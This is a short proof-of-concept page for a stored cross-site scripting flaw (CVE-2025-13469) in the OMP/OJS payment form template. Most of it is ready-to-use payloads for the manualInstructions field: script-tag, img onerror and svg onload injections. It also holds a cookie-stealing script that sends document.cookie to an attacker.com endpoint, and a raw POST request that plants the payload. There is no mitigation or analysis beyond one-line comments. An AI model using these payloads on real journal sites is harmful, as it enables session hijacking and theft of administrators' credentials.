CVE-2025-13469: OMP/OJS paymentForm.tpl 存储型XSS漏洞

<!-- CVE-2025-13469 PoC - Stored XSS in OMP/OJS paymentForm.tpl --> <!-- Requires high privilege access to payment settings --> <!-- Method 1: Script tag injection --> manualInstructions parameter value: <script>alert(document.cookie)</script> <!-- Method 2: Event handler injection --> manualInstructions parameter value: <img src=x onerror=alert('XSS')> <!-- Method 3: SVG injection --> manualInstructions parameter value: <svg/onload=alert(document.domain)> <!-- Exploit payload to steal cookies --> <script> fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie)) </script> <!-- HTTP Request to trigger the vulnerability --> POST /index.php/{journal}/paymentsettings/save Content-Type: application/x-www-form-urlencoded manualInstructions=<script>alert(document.cookie)</script>&save=1